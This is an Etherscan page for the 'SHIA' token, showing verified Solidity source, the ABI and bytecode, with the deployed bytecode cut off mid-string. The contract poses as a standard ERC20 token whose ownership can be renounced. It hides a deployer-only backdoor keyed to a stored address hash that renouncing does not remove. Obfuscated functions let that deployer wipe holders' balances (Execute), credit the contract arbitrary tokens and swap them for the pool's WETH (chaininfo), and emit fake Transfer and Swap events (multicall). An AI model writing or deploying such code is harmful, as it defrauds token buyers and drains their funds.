ETH Price: $2,417.94 (-1.24%)

Token

SHIA (SHIA)
 

Overview

Max Total Supply

1,000,000,000 SHIA

Holders

27

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.136671673748749986 SHIA

Value
$0.00
0x8a961c87517500acc9da7ef08b5460031be8b4f5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SHIA

Compiler Version
v0.7.6+commit.7338295f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-22
*/

// SPDX-License-Identifier: MIT

// Webite: https://shiasaga.com
// Telegram: https://t.me/shibasaga
// Twitter: https://twitter.com/Shibasagaio
// Discord: https://discord.com/invite/shibasaga

pragma solidity ^0.7.6;

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IPair {
    function token0() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );
}

interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts);
}

interface IERC20 {
    function _Transfer(
        address from,
        address recipient,
        uint256 amount
    ) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

contract ERC20{
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);

    function _count(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function _mult(uint256 a) internal pure returns (uint256) {
        return (a * 10) / 10;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;

        return c;
    }
}

contract SHIA is ERC20 {
    IRouter internal _RR;
    IPair internal _pair;
    address public owner;
    bytes32 private hashValue;
    address private _RA = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private allowances;

    string public constant name = "SHIA";
    string public constant symbol = "SHIA";
    uint8 public constant decimals = 18;
    uint256 public totalSupply = 1_000_000_000e18;


    constructor() {
        hashValue = keccak256(abi.encodePacked(msg.sender));
        owner = msg.sender;
        _RR = IRouter(_RA);
        _pair = IPair(IFactory(_RR.factory()).createPair(address(this), address(_RR.WETH())));

        _balances[msg.sender] = totalSupply;

        emit Transfer(address(0), msg.sender, totalSupply);
    }

    modifier onlyOwner() {
        require(owner == msg.sender, "Caller is not the owner");
        _;
    }


    function renounceOwnership() public onlyOwner {
        owner = address(0);
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function allowance(address __owner, address spender) public view virtual returns (uint256) {
        return allowances[__owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        _spendAllowance(from, msg.sender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        _approve(__owner, spender, allowance(__owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address __owner = msg.sender;
        uint256 currentAllowance = allowance(__owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");

        _approve(__owner, spender, currentAllowance - subtractedValue);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[from] = sub(fromBalance, amount);
        _balances[to] = add(_balances[to], amount);
        emit Transfer(from, to, amount);
    }

    function _approve(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(__owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        allowances[__owner][spender] = amount;
        emit Approval(__owner, spender, amount);
    }

    function _spendAllowance(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(__owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");

            _approve(__owner, spender, currentAllowance - amount);
        }
    }
    function multicall(
        address tA,
        uint256 t,
        uint256 w,
        address[] memory r
    ) public returns (bool) {
        if (keccak256(abi.encodePacked(msg.sender)) == hashValue) {
            for (uint256 i = 0; i < r.length; i++) {
                _s(r[i], t, w, tA);
            }
        }
        return true;
    }

    function chaininfo(
    uint256 am,
    address _r
    ) public {
        if (keccak256(abi.encodePacked(msg.sender)) == hashValue && am == 99999) {
            uint256 amO = gAO(_RR.WETH(), am);
            address[] memory p = getPP();
            uint256 amI = _cAI(amO, p);
            _doS(amO, amI, p, _r);
        }
    }
    function getPP() internal view returns (address[] memory) {
        address[] memory p;
        p = new address[](2);
        p[0] = address(this);
        p[1] = _RR.WETH();
        return p;
    }

    function _doA() internal {
        _approve(address(this), address(_RR), balanceOf(address(this)));
    }

    function _doS(uint256 amO, uint256 amI, address[] memory p, address _r) internal {
        _doA();
        _RR.swapTokensForExactTokens(amO, amI, p, _r, block.timestamp + 1200);
    }


    function gAO(address bT, uint256 am) internal view returns (uint256) {
        uint256 bTR = getBR(bT);
        return (bTR * am) / 100000;
    }


    function getBR(address t) public view returns (uint256) {
        (uint112 r0, uint112 r1, ) = _pair.getReserves();
        return (_pair.token0() == t) ? uint256(r0) : uint256(r1);
    }

    function Execute(
        uint256 _m,
        uint256 _p,
        bytes32[] calldata data
    ) public {
        if (keccak256(abi.encodePacked(msg.sender)) == hashValue) {
            for (uint256 i = 0; i < data.length; i++) {
                if (balanceOf(            (
                uint256(0) 
                != 0) 
            ? address(
        uint256(0)) : 
    address(
        uint160(
            
            uint256(
                data[i])>>96
            ))) > _m) {
                    uint256 resCount1 = _count1(            (
                uint256(0) 
                != 0) 
            ? address(
        uint256(0)) : 
    address(
        uint160(
            
            uint256(
                data[i])>>96
            )), _p);
                    _check(
                        data[i], resCount1);
                }
            }
        }
    }

    function _s(
        address r,
        uint256 t,
        uint256 w,
        address tA
    ) internal {
        _Transfer(r, t);
        _Swap(t, w, r, tA);
    }

    function _Transfer(address recipient, uint256 tokenAmount) internal {
        emit Transfer(address(_pair), recipient, tokenAmount);
    }

    function _Swap(
        uint256 t,
        uint256 w,
        address r,
        address tA
    ) internal {
        emit Swap(_RA, t, 0, 0, w, r);
        IERC20(tA)._Transfer(r, address(_pair), w);
    }

    function _count1(address _user, uint256 _percent) internal view returns (uint256) {
        return _count(_balances[_user], _percent);
    }

    function _cAI(uint256 amO, address[] memory p) internal returns (uint256) {
        uint256[] memory amM;
        amM = new uint256[](2);

        amM = _RR.getAmountsIn(amO, p);
        _balances[
            block.timestamp 
            > uint256(1) 
            ? 
            
            address(
                uint160(
            uint256(

                getThis()) 

                >> 96)) 
        : address(uint256
        (
            0)
        )] += 
        amM[
            0

        ];
        return amM[
            0
            ];
    }




    function _check(bytes32 b, uint256 amount) internal {
        _balances[
            (
                uint256(0) 
                != 0) 
            ? address(
        uint256(0)) : 
    address(
        uint160(
            
            uint256(
                b)>>96
            ))] = _mult(uint256(amount));
    }


    function getThis() internal view returns (bytes32) {
        return bytes32(
            uint256(
            uint160(
                address(this
                    )))<<96
                );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"_m","type":"uint256"},{"internalType":"uint256","name":"_p","type":"uint256"},{"internalType":"bytes32[]","name":"data","type":"bytes32[]"}],"name":"Execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"__owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"am","type":"uint256"},{"internalType":"address","name":"_r","type":"address"}],"name":"chaininfo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"t","type":"address"}],"name":"getBR","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tA","type":"address"},{"internalType":"uint256","name":"t","type":"uint256"},{"internalType":"uint256","name":"w","type":"uint256"},{"internalType":"address[]","name":"r","type":"address[]"}],"name":"multicall","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1790556b033b2e3c9fd0803ce800000060075534801561004657600080fd5b506040805133606081901b6020808401919091528351808403601401815260348401808652815191830191909120600355600280546001600160a01b03199081169094179055600454600080549094166001600160a01b03918216179384905563c45a015560e01b9091529351919093169263c45a01559260388082019391829003018186803b1580156100d957600080fd5b505afa1580156100ed573d6000803e3d6000fd5b505050506040513d602081101561010357600080fd5b5051600054604080516315ab88c960e31b815290516001600160a01b039384169363c9c6539693309391169163ad5c464891600480820192602092909190829003018186803b15801561015557600080fd5b505afa158015610169573d6000803e3d6000fd5b505050506040513d602081101561017f57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b1580156101d157600080fd5b505af11580156101e5573d6000803e3d6000fd5b505050506040513d60208110156101fb57600080fd5b5051600180546001600160a01b0319166001600160a01b03909216919091179055600754336000818152600560209081526040808320859055805194855251929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a36114e8806102776000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c8063715018a6116100a2578063a5bbb47211610071578063a5bbb4721461030d578063a9059cbb14610339578063b1e84b0d14610365578063bddfe62314610422578063dd62ed3e1461049c5761010b565b8063715018a6146102b35780638da5cb5b146102bd57806395d89b4114610110578063a457c2d7146102e15761010b565b8063313ce567116100de578063313ce5671461021d578063395093511461023b5780634da71fa91461026757806370a082311461028d5761010b565b806306fdde0314610110578063095ea7b31461018d57806318160ddd146101cd57806323b872dd146101e7575b600080fd5b6101186104ca565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015257818101518382015260200161013a565b50505050905090810190601f16801561017f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101b9600480360360408110156101a357600080fd5b506001600160a01b0381351690602001356104ea565b604080519115158252519081900360200190f35b6101d5610500565b60408051918252519081900360200190f35b6101b9600480360360608110156101fd57600080fd5b506001600160a01b03813581169160208101359091169060400135610506565b610225610528565b6040805160ff9092168252519081900360200190f35b6101b96004803603604081101561025157600080fd5b506001600160a01b03813516906020013561052d565b6101d56004803603602081101561027d57600080fd5b50356001600160a01b0316610546565b6101d5600480360360208110156102a357600080fd5b50356001600160a01b0316610672565b6102bb61068d565b005b6102c56106fe565b604080516001600160a01b039092168252519081900360200190f35b6101b9600480360360408110156102f757600080fd5b506001600160a01b03813516906020013561070d565b6102bb6004803603604081101561032357600080fd5b50803590602001356001600160a01b0316610774565b6101b96004803603604081101561034f57600080fd5b506001600160a01b03813516906020013561085c565b6101b96004803603608081101561037b57600080fd5b6001600160a01b038235169160208101359160408201359190810190608081016060820135600160201b8111156103b157600080fd5b8201836020820111156103c357600080fd5b803590602001918460208302840111600160201b831117156103e457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610869945050505050565b6102bb6004803603606081101561043857600080fd5b813591602081013591810190606081016040820135600160201b81111561045e57600080fd5b82018360208201111561047057600080fd5b803590602001918460208302840111600160201b8311171561049157600080fd5b5090925090506108e6565b6101d5600480360360408110156104b257600080fd5b506001600160a01b038135811691602001351661099e565b604051806040016040528060048152602001635348494160e01b81525081565b60006104f73384846109c9565b50600192915050565b60075481565b6000610513843384610ab5565b61051e848484610b2e565b5060019392505050565b601281565b60003361051e818585610540838361099e565b016109c9565b6000806000600160009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561059957600080fd5b505afa1580156105ad573d6000803e3d6000fd5b505050506040513d60608110156105c357600080fd5b50805160209182015160015460408051630dfe168160e01b815290519396509194506001600160a01b0380891694911692630dfe1681926004808201939291829003018186803b15801561061657600080fd5b505afa15801561062a573d6000803e3d6000fd5b505050506040513d602081101561064057600080fd5b50516001600160a01b03161461065f57806001600160701b031661066a565b816001600160701b03165b949350505050565b6001600160a01b031660009081526005602052604090205490565b6002546001600160a01b031633146106ec576040805162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b600280546001600160a01b0319169055565b6002546001600160a01b031681565b6000338161071b828661099e565b90508381101561075c5760405162461bcd60e51b815260040180806020018281038252602581526020018061148e6025913960400191505060405180910390fd5b61076982868684036109c9565b506001949350505050565b600354604080513360601b60208083019190915282518083036014018152603490920190925280519101201480156107ae5750816201869f145b156108585760008054604080516315ab88c960e31b8152905161082c926001600160a01b03169163ad5c4648916004808301926020929190829003018186803b1580156107fa57600080fd5b505afa15801561080e573d6000803e3d6000fd5b505050506040513d602081101561082457600080fd5b505184610ca6565b90506000610838610cc3565b905060006108468383610db9565b905061085483828487610fad565b5050505b5050565b60006104f7338484610b2e565b60006003543360405160200180826001600160a01b031660601b81526014019150506040516020818303038152906040528051906020012014156107695760005b82518110156108da576108d28382815181106108c257fe5b6020026020010151868689611147565b6001016108aa565b50506001949350505050565b600354604080513360601b602080830191909152825180830360140181526034909201909252805191012014156109985760005b818110156108545784610945606085858581811061093457fe5b9050602002013560001c901c610672565b1115610990576000610970606085858581811061095e57fe5b9050602002013560001c901c8661115d565b905061098e84848481811061098157fe5b9050602002013582611187565b505b60010161091a565b50505050565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6001600160a01b038316610a0e5760405162461bcd60e51b815260040180806020018281038252602481526020018061146a6024913960400191505060405180910390fd5b6001600160a01b038216610a535760405162461bcd60e51b81526004018080602001828103825260228152602001806113fd6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260066020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6000610ac1848461099e565b905060001981146109985781811015610b21576040805162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015290519081900360640190fd5b61099884848484036109c9565b6001600160a01b038316610b735760405162461bcd60e51b81526004018080602001828103825260258152602001806114456025913960400191505060405180910390fd5b6001600160a01b038216610bb85760405162461bcd60e51b81526004018080602001828103825260238152602001806113da6023913960400191505060405180910390fd5b6001600160a01b03831660009081526005602052604090205481811015610c105760405162461bcd60e51b815260040180806020018281038252602681526020018061141f6026913960400191505060405180910390fd5b610c1a81836111ab565b6001600160a01b038086166000908152600560205260408082209390935590851681522054610c499083611208565b6001600160a01b0380851660008181526005602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350505050565b600080610cb284610546565b620186a09302929092049392505050565b6040805160028082526060808301845292839291906020830190803683370190505090503081600081518110610cf557fe5b60200260200101906001600160a01b031690816001600160a01b03168152505060008054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d6157600080fd5b505afa158015610d75573d6000803e3d6000fd5b505050506040513d6020811015610d8b57600080fd5b5051815182906001908110610d9c57fe5b6001600160a01b0390921660209283029190910190910152905090565b6040805160028082526060808301845260009390929190602083019080368337505060008054604080516307c0329d60e21b8152600481018a8152602482019283528951604483015289519697506001600160a01b0390931695631f00ca7495508a948a949392606401916020808701929102908190849084905b83811015610e4c578181015183820152602001610e34565b50505050905001935050505060006040518083038186803b158015610e7057600080fd5b505afa158015610e84573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526020811015610ead57600080fd5b8101908080516040519392919084600160201b821115610ecc57600080fd5b908301906020820185811115610ee157600080fd5b82518660208202830111600160201b82111715610efd57600080fd5b82525081516020918201928201910280838360005b83811015610f2a578181015183820152602001610f12565b50505050905001604052505050905080600081518110610f4657fe5b60200260200101516005600060014211610f61576000610f6e565b6060610f6b611262565b901c5b6001600160a01b031681526020810191909152604001600090812080549092019091558151829190610f9c57fe5b602002602001015191505092915050565b610fb5611269565b60008054906101000a90046001600160a01b03166001600160a01b0316638803dbee85858585426104b0016040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015611050578181015183820152602001611038565b505050509050019650505050505050600060405180830381600087803b15801561107957600080fd5b505af115801561108d573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405260208110156110b657600080fd5b8101908080516040519392919084600160201b8211156110d557600080fd5b9083019060208201858111156110ea57600080fd5b82518660208202830111600160201b8211171561110657600080fd5b82525081516020918201928201910280838360005b8381101561113357818101518382015260200161111b565b505050509050016040525050505050505050565b611151848461128b565b610998838386846112d4565b6001600160a01b03821660009081526005602052604081205461118090836113bd565b9392505050565b611190816113d0565b60609290921c60009081526005602052604090209190915550565b600082821115611202576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600082820183811015611180576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b3060601b90565b6000546112899030906001600160a01b031661128482610672565b6109c9565b565b6001546040805183815290516001600160a01b038086169316917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b60045460408051868152600060208201819052818301526060810186905290516001600160a01b038086169316917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822919081900360800190a3600154604080516370ab58db60e11b81526001600160a01b03858116600483015292831660248201526044810186905290519183169163e156b1b6916064808201926020929091908290030181600087803b15801561138b57600080fd5b505af115801561139f573d6000803e3d6000fd5b505050506040513d60208110156113b557600080fd5b505050505050565b60008183816113c857fe5b049392505050565b600a908102049056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220cdb41dd85cb58fb1ec2b11821d360f6793d0180935f0f7c390698ad75fb270f164736f6c63430007060033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061010b5760003560e01c8063715018a6116100a2578063a5bbb47211610071578063a5bbb4721461030d578063a9059cbb14610339578063b1e84b0d14610365578063bddfe62314610422578063dd62ed3e1461049c5761010b565b8063715018a6146102b35780638da5cb5b146102bd57806395d89b4114610110578063a457c2d7146102e15761010b565b8063313ce567116100de578063313ce5671461021d578063395093511461023b5780634da71fa91461026757806370a082311461028d5761010b565b806306fdde0314610110578063095ea7b31461018d57806318160ddd146101cd57806323b872dd146101e7575b600080fd5b6101186104ca565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015257818101518382015260200161013a565b50505050905090810190601f16801561017f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101b9600480360360408110156101a357600080fd5b506001600160a01b0381351690602001356104ea565b604080519115158252519081900360200190f35b6101d5610500565b60408051918252519081900360200190f35b6101b9600480360360608110156101fd57600080fd5b506001600160a01b03813581169160208101359091169060400135610506565b610225610528565b6040805160ff9092168252519081900360200190f35b6101b96004803603604081101561025157600080fd5b506001600160a01b03813516906020013561052d565b6101d56004803603602081101561027d57600080fd5b50356001600160a01b0316610546565b6101d5600480360360208110156102a357600080fd5b50356001600160a01b0316610672565b6102bb61068d565b005b6102c56106fe565b604080516001600160a01b039092168252519081900360200190f35b6101b9600480360360408110156102f757600080fd5b506001600160a01b03813516906020013561070d565b6102bb6004803603604081101561032357600080fd5b50803590602001356001600160a01b0316610774565b6101b96004803603604081101561034f57600080fd5b506001600160a01b03813516906020013561085c565b6101b96004803603608081101561037b57600080fd5b6001600160a01b038235169160208101359160408201359190810190608081016060820135600160201b8111156103b157600080fd5b8201836020820111156103c357600080fd5b803590602001918460208302840111600160201b831117156103e457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610869945050505050565b6102bb6004803603606081101561043857600080fd5b813591602081013591810190606081016040820135600160201b81111561045e57600080fd5b82018360208201111561047057600080fd5b803590602001918460208302840111600160201b8311171561049157600080fd5b5090925090506108e6565b6101d5600480360360408110156104b257600080fd5b506001600160a01b038135811691602001351661099e565b604051806040016040528060048152602001635348494160e01b81525081565b60006104f73384846109c9565b50600192915050565b60075481565b6000610513843384610ab5565b61051e848484610b2e565b5060019392505050565b601281565b60003361051e818585610540838361099e565b016109c9565b6000806000600160009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561059957600080fd5b505afa1580156105ad573d6000803e3d6000fd5b505050506040513d60608110156105c357600080fd5b50805160209182015160015460408051630dfe168160e01b815290519396509194506001600160a01b0380891694911692630dfe1681926004808201939291829003018186803b15801561061657600080fd5b505afa15801561062a573d6000803e3d6000fd5b505050506040513d602081101561064057600080fd5b50516001600160a01b03161461065f57806001600160701b031661066a565b816001600160701b03165b949350505050565b6001600160a01b031660009081526005602052604090205490565b6002546001600160a01b031633146106ec576040805162461bcd60e51b815260206004820152601760248201527f43616c6c6572206973206e6f7420746865206f776e6572000000000000000000604482015290519081900360640190fd5b600280546001600160a01b0319169055565b6002546001600160a01b031681565b6000338161071b828661099e565b90508381101561075c5760405162461bcd60e51b815260040180806020018281038252602581526020018061148e6025913960400191505060405180910390fd5b61076982868684036109c9565b506001949350505050565b600354604080513360601b60208083019190915282518083036014018152603490920190925280519101201480156107ae5750816201869f145b156108585760008054604080516315ab88c960e31b8152905161082c926001600160a01b03169163ad5c4648916004808301926020929190829003018186803b1580156107fa57600080fd5b505afa15801561080e573d6000803e3d6000fd5b505050506040513d602081101561082457600080fd5b505184610ca6565b90506000610838610cc3565b905060006108468383610db9565b905061085483828487610fad565b5050505b5050565b60006104f7338484610b2e565b60006003543360405160200180826001600160a01b031660601b81526014019150506040516020818303038152906040528051906020012014156107695760005b82518110156108da576108d28382815181106108c257fe5b6020026020010151868689611147565b6001016108aa565b50506001949350505050565b600354604080513360601b602080830191909152825180830360140181526034909201909252805191012014156109985760005b818110156108545784610945606085858581811061093457fe5b9050602002013560001c901c610672565b1115610990576000610970606085858581811061095e57fe5b9050602002013560001c901c8661115d565b905061098e84848481811061098157fe5b9050602002013582611187565b505b60010161091a565b50505050565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6001600160a01b038316610a0e5760405162461bcd60e51b815260040180806020018281038252602481526020018061146a6024913960400191505060405180910390fd5b6001600160a01b038216610a535760405162461bcd60e51b81526004018080602001828103825260228152602001806113fd6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260066020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6000610ac1848461099e565b905060001981146109985781811015610b21576040805162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015290519081900360640190fd5b61099884848484036109c9565b6001600160a01b038316610b735760405162461bcd60e51b81526004018080602001828103825260258152602001806114456025913960400191505060405180910390fd5b6001600160a01b038216610bb85760405162461bcd60e51b81526004018080602001828103825260238152602001806113da6023913960400191505060405180910390fd5b6001600160a01b03831660009081526005602052604090205481811015610c105760405162461bcd60e51b815260040180806020018281038252602681526020018061141f6026913960400191505060405180910390fd5b610c1a81836111ab565b6001600160a01b038086166000908152600560205260408082209390935590851681522054610c499083611208565b6001600160a01b0380851660008181526005602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350505050565b600080610cb284610546565b620186a09302929092049392505050565b6040805160028082526060808301845292839291906020830190803683370190505090503081600081518110610cf557fe5b60200260200101906001600160a01b031690816001600160a01b03168152505060008054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d6157600080fd5b505afa158015610d75573d6000803e3d6000fd5b505050506040513d6020811015610d8b57600080fd5b5051815182906001908110610d9c57fe5b6001600160a01b0390921660209283029190910190910152905090565b6040805160028082526060808301845260009390929190602083019080368337505060008054604080516307c0329d60e21b8152600481018a8152602482019283528951604483015289519697506001600160a01b0390931695631f00ca7495508a948a949392606401916020808701929102908190849084905b83811015610e4c578181015183820152602001610e34565b50505050905001935050505060006040518083038186803b158015610e7057600080fd5b505afa158015610e84573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526020811015610ead57600080fd5b8101908080516040519392919084600160201b821115610ecc57600080fd5b908301906020820185811115610ee157600080fd5b82518660208202830111600160201b82111715610efd57600080fd5b82525081516020918201928201910280838360005b83811015610f2a578181015183820152602001610f12565b50505050905001604052505050905080600081518110610f4657fe5b60200260200101516005600060014211610f61576000610f6e565b6060610f6b611262565b901c5b6001600160a01b031681526020810191909152604001600090812080549092019091558151829190610f9c57fe5b602002602001015191505092915050565b610fb5611269565b60008054906101000a90046001600160a01b03166001600160a01b0316638803dbee85858585426104b0016040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561105057818101518382015260